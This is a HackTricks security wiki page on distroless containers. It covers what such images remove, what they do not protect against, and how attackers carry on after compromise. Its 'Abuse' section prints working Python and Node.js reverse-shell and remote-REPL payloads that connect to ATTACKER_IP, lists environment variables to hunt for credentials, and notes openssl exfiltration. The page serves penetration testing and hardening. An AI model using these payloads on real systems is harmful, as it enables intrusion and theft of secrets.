distroless.md (13685B)
1 --- 2 title: "Distroless Containers" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/distroless.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/distroless.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Distroless Containers 14 15 ## Overview 16 17 A **distroless** container image ships the **minimum runtime components required to run one specific application**, while intentionally removing the usual distribution tooling such as package managers, shells, and large sets of generic userland utilities. In practice, distroless images often contain only the application binary or runtime, its shared libraries, certificate bundles, and a very small filesystem layout. <sup>[[1]](#references)</sup> 18 19 The point is not that distroless is a new kernel isolation primitive. Distroless is an **image design strategy**. It changes what is available **inside** the container filesystem, not how the kernel isolates the container. That distinction matters, because distroless hardens the environment mainly by reducing what an attacker can use after gaining code execution. It does not replace namespaces, seccomp, capabilities, AppArmor, SELinux, or any other runtime isolation mechanism. 20 21 ## Why Distroless Exists 22 23 Distroless images are primarily used to reduce: 24 25 - the image size 26 - the operational complexity of the image 27 - the number of packages and binaries that could contain vulnerabilities 28 - the number of post-exploitation tools available to an attacker by default 29 30 That is why distroless images are popular in production application deployments. A container that contains no shell, no package manager, and almost no generic tooling is usually easier to reason about operationally and harder to abuse interactively after compromise. 31 32 Examples of well-known distroless-style image families include: 33 34 - Google's distroless images <sup>[[1]](#references)</sup> 35 - Chainguard hardened/minimal images <sup>[[2]](#references)</sup> 36 37 ## What Distroless Does Not Mean 38 39 A distroless container is **not**: 40 41 - automatically rootless 42 - automatically non-privileged 43 - automatically read-only 44 - automatically protected by seccomp, AppArmor, or SELinux 45 - automatically safe from container escape 46 47 It is still possible to run a distroless image with `--privileged`, host namespace sharing, dangerous bind mounts, or a mounted runtime socket. In that scenario, the image may be minimal, but the container can still be catastrophically insecure. Distroless changes the **userland attack surface**, not the **kernel trust boundary**. 48 49 ## Typical Operational Characteristics 50 51 When you compromise a distroless container, the first thing you usually notice is that common assumptions stop being true. There may be no `sh`, no `bash`, no `ls`, no `id`, no `cat`, and sometimes not even a libc-based environment that behaves the way your usual tradecraft expects. This affects both offense and defense, because the lack of tooling makes debugging, incident response, and post-exploitation different. 52 53 The most common patterns are: 54 55 - the application runtime exists, but little else does 56 - shell-based payloads fail because there is no shell 57 - common enumeration one-liners fail because the helper binaries are missing 58 - file system protections such as read-only rootfs or `noexec` on writable tmpfs locations are often present as well 59 60 That combination is what usually leads people to talk about "weaponizing distroless". 61 62 ## Distroless And Post-Exploitation 63 64 The main offensive challenge in a distroless environment is not always the initial RCE. It is often what comes next. If the exploited workload gives code execution in a language runtime such as Python, Node.js, Java, or Go, you may be able to execute arbitrary logic, but not through the normal shell-centric workflows that are common in other Linux targets. 65 66 That means post-exploitation often shifts into one of three directions: 67 68 1. **Use the existing language runtime directly** to enumerate the environment, open sockets, read files, or stage additional payloads. 69 2. **Bring your own tooling into memory** if the filesystem is read-only or writable locations are mounted `noexec`. 70 3. **Abuse existing binaries already present in the image** if the application or its dependencies include something unexpectedly useful. 71 72 ## Abuse 73 74 ### Enumerate The Runtime You Already Have 75 76 In many distroless containers there is no shell, but there is still an application runtime. If the target is a Python service, Python is there. If the target is Node.js, Node is there. That often gives enough functionality to enumerate files, read environment variables, open reverse shells, and stage in-memory execution without ever invoking `/bin/sh`. 77 78 A simple example with Python: 79 80 ```bash 81 python3 - <<'PY' 82 import os, socket, subprocess 83 print("uid", os.getuid()) 84 print("cwd", os.getcwd()) 85 print("env keys", list(os.environ)[:20]) 86 print("root files", os.listdir("/")[:30]) 87 PY 88 ``` 89 90 A simple example with Node.js: 91 92 ```bash 93 node -e 'const fs=require("fs"); console.log(process.getuid && process.getuid()); console.log(fs.readdirSync("/").slice(0,30)); console.log(Object.keys(process.env).slice(0,20));' 94 ``` 95 96 Impact: 97 98 - recovery of environment variables, often including credentials or service endpoints 99 - filesystem enumeration without `/bin/ls` 100 - identification of writable paths and mounted secrets 101 102 ### Interactive Runtime Without `/bin/sh` 103 104 If the image does not contain `sh` or `bash`, a classic shell-based reverse shell fails. In that situation, expose an interactive session in the installed language runtime instead of spawning a nonexistent shell. 105 106 For example, this Python payload redirects an interactive Python console over a socket: 107 108 ```bash 109 python3 - <<'PY' 110 import code, socket, sys 111 s = socket.create_connection(("ATTACKER_IP", 4444)) 112 stream = s.makefile("rw", buffering=1) 113 sys.stdin = sys.stdout = sys.stderr = stream 114 code.interact(local=globals()) 115 PY 116 ``` 117 118 The equivalent Node.js approach can evaluate JavaScript received over a socket. It is a JavaScript REPL, not an operating-system shell; filesystem, process, and networking operations must be performed through Node's APIs: 119 120 ```bash 121 node -e 'const net=require("net");const s=net.connect(4444,"ATTACKER_IP");s.on("data",d=>{try{s.write(String(eval(d.toString()))+"\n")}catch(e){s.write(String(e)+"\n")}});' 122 ``` 123 124 Both examples require outbound connectivity and an available interpreter, and both provide only the functionality exposed by that interpreter. 125 126 If the image unexpectedly includes `/bin/sh`, the classic interpreter-assisted shell payloads remain useful. They are shown separately because they are not genuinely shell-free: 127 128 ```bash 129 # Python plus an existing /bin/sh 130 python3 - <<'PY' 131 import os, pty, socket 132 s = socket.create_connection(("ATTACKER_IP", 4444)) 133 for fd in (0, 1, 2): 134 os.dup2(s.fileno(), fd) 135 pty.spawn("/bin/sh") 136 PY 137 138 # Node.js plus an existing /bin/sh 139 node -e 'const net=require("net"),cp=require("child_process");const s=net.connect(4444,"ATTACKER_IP",()=>{const p=cp.spawn("/bin/sh",[]);s.pipe(p.stdin);p.stdout.pipe(s);p.stderr.pipe(s);});' 140 ``` 141 142 The older Python command-loop pattern is also useful when `/bin/sh` exists but an interactive PTY is inconvenient. It is retained here with its real dependency made explicit: `subprocess.run(..., shell=True)` invokes the system shell and therefore is **not** a no-shell technique. 143 144 ```bash 145 python3 -c ' 146 import subprocess 147 while True: 148 cmd = input("sh> ") 149 if cmd.strip() in ("exit", "quit"): 150 break 151 result = subprocess.run(cmd, shell=True, capture_output=True, text=True) 152 print(result.stdout, end="") 153 print(result.stderr, end="") 154 ' 155 ``` 156 157 ### Full Example: No-Shell Python Command Loop 158 159 If the image has Python but no shell at all, a local Python REPL can still support filesystem, environment, and network inspection: 160 161 ```bash 162 python3 - <<'PY' 163 namespace = {} 164 while True: 165 source = input("py> ") 166 if source.strip() in ("exit", "quit"): 167 break 168 try: 169 result = eval(source, namespace) 170 if result is not None: 171 print(repr(result)) 172 except SyntaxError: 173 exec(source, namespace) 174 PY 175 ``` 176 177 This loop does not invoke `/bin/sh`. It evaluates Python expressions and statements directly, so operations must use Python APIs rather than shell commands. Within that limitation, it can still provide much of the impact of a basic shell: filesystem and environment enumeration, data access, network activity, and staging further payloads through the installed runtime. 178 179 ### In-Memory Tool Execution 180 181 Distroless images are often combined with: 182 183 - `readOnlyRootFilesystem: true` 184 - writable but `noexec` tmpfs such as `/dev/shm` 185 - a lack of package management tools 186 187 That combination makes classic "download binary to disk and run it" workflows unreliable. In those cases, memory execution techniques become the main answer. 188 189 The dedicated page for that is: 190 191 [Bypass Fs Protections Read Only No Exec Distroless](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/overview) 192 193 The most relevant techniques there are: 194 195 - `memfd_create` + `execve` via scripting runtimes <sup>[[4]](#references)</sup> 196 - DDexec / EverythingExec 197 - memexec 198 - memdlopen 199 200 ### Existing Binaries Already In The Image 201 202 Some distroless images still contain operationally necessary binaries that become useful after compromise. A repeatedly observed example is `openssl`, because applications sometimes need it for crypto- or TLS-related tasks. 203 204 A quick search pattern is: 205 206 ```bash 207 find / -type f \( -name openssl -o -name busybox -o -name wget -o -name curl \) 2>/dev/null 208 ``` 209 210 If `openssl` is present, it may be usable for: 211 212 - outbound TLS connections 213 - data exfiltration over an allowed egress channel 214 - staging payload data through encoded/encrypted blobs 215 216 The exact abuse depends on what is actually installed, but the general idea is that distroless does not mean "no tools whatsoever"; it means "far fewer tools than a normal distribution image". 217 218 ## Checks 219 220 The goal of these checks is to determine whether the image is really distroless in practice and which runtime or helper binaries are still available for post-exploitation. 221 222 ```bash 223 find / -maxdepth 2 -type f 2>/dev/null | head -n 100 # Very small rootfs is common in distroless images 224 which sh bash ash busybox python python3 node java 2>/dev/null # Identify which runtime or shell primitives exist 225 cat /etc/os-release 2>/dev/null # Often missing or minimal 226 mount | grep -E ' /( |$)|/dev/shm' # Check for read-only rootfs and writable tmpfs 227 ``` 228 229 What is interesting here: 230 231 - If no shell exists but a runtime such as Python or Node is present, post-exploitation should pivot to runtime-driven execution. 232 - If the root filesystem is read-only and `/dev/shm` is writable but `noexec`, memory execution techniques become much more relevant. 233 - If helper binaries such as `openssl`, `busybox`, or `java` exist, they may offer enough functionality to bootstrap further access. 234 235 ## Runtime Defaults 236 237 | Image / platform style | Default state | Typical behavior | Common manual weakening | 238 | --- | --- | --- | --- | 239 | Google distroless style images | Minimal userland by design | No shell, no package manager, only application/runtime dependencies | adding debugging layers, sidecar shells, copying in busybox or tooling | 240 | Chainguard minimal images | Minimal userland by design | Reduced package surface, often focused on one runtime or service | using `:latest-dev` or debug variants, copying tools during build | 241 | Kubernetes workloads using distroless images | Depends on Pod config | Distroless affects userland only; Pod security posture still depends on the Pod spec and runtime defaults | adding ephemeral debug containers, host mounts, privileged Pod settings | 242 | Docker / Podman running distroless images | Depends on run flags | Minimal filesystem, but runtime security still depends on flags and daemon configuration | `--privileged`, host namespace sharing, runtime socket mounts, writable host binds | 243 244 The key point is that distroless is an **image property**, not a runtime protection. Its value comes from reducing what is available inside the filesystem after compromise. Multi-stage builds are a common way to keep build tools out of the final image. <sup>[[3]](#references)</sup> 245 246 ## Related Pages 247 248 For filesystem and memory-execution bypasses commonly needed in distroless environments: 249 250 [Bypass Fs Protections Read Only No Exec Distroless](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/overview) 251 252 For container runtime, socket, and mount abuse that still applies to distroless workloads: 253 254 [Runtime Api And Daemon Exposure](/hacktricks/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure) 255 256 [Sensitive Host Mounts](/hacktricks/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts) 257 258 ## References 259 260 - [1] [GoogleContainerTools - Distroless container images](https://github.com/GoogleContainerTools/distroless) 261 - [2] [Chainguard Images documentation](https://edu.chainguard.dev/chainguard/chainguard-images/) 262 - [3] [Docker Docs - Multi-stage builds](https://docs.docker.com/build/building/multi-stage/) 263 - [4] [`memfd_create(2)` - Linux manual page](https://man7.org/linux/man-pages/man2/memfd_create.2.html)